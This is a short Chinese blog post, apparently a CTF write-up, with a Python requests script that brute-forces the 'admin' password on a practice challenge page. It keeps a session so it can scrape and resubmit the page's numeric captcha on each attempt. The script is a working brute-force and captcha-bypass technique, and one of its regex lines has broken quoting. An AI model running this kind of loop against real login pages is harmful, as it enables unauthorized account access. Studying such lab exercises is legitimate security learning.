requests爆破+简单数字验证码

验证码用正则获取 然后提交;
访问方式为get;
由于有验证码 要用session;
注意:获取验证码的时候所打开的网页要用当前session(即要get的) 不能另外打开(如urllib中的打开网页)网页否则验证码是不同的;

代码如下:

 1 #coding=utf-8
 2 import requests
 3 import re
 4 import urllib2
 5 
 6 url="http://daka.whaledu.com/web/web38/9s81jWjd98YU.php"
 7 
 8 
 9 se=requests.Session()
10 
11 htmlpage = se.get(url).text
12 
13 ###########################################################################
14 #                                                                         #
15 #   ATTENTION!                                                           #
16 #   一定要用当前session打开网页,否则验证码不一样,导致提交的验证码错误              #
17 #                                                                         #
18 ###########################################################################
19 
20 
21 
22 #验证码获取
23 
24 ex=r"text">(.+?)<br>"
25 pattern=re.compile(ex)
26 ss=re.findall(ex,htmlpage)
27 st=""
28 st=ss[0]
29 st=st[1]+st[2]+st[3]
30 print st
31 
32 
33 #第一次使用一个错误的数据以便爆破的时候对比是否密码正确
34 
35 data={
36     "password":"11111",
37     "randcode":st,
38     "username":"admin"
39 }
40 
41 
42 
43 content=se.get(url,params=data)
44 print content.url
45 content.encoding='utf-8'
46 print content.text
47 
48 
49 #循环爆破
50 
51 for i in range(11111,12111):
52     
53     
54     se=requests.Session()
55     htmlpage = se.get(url).text
56     
57     ex=r"text">(.+?)<br>"
58     pattern=re.compile(ex)
59     ss=re.findall(ex,htmlpage)
60     st=""
61     st=ss[0]
62     st=st[1]+st[2]+st[3]
63     
64     data={
65     "password":str(i),
66     "randcode":st,
67     "username":"admin"
68     }
69     
70     content1=se.get(url,params=data)
71     content1.encoding='utf-8'
72     if content.text!=content1.text:
73         print content1.text
74     else:
75         print str(i),"wrong"
原文地址:https://www.cnblogs.com/Aiden-/p/9020566.html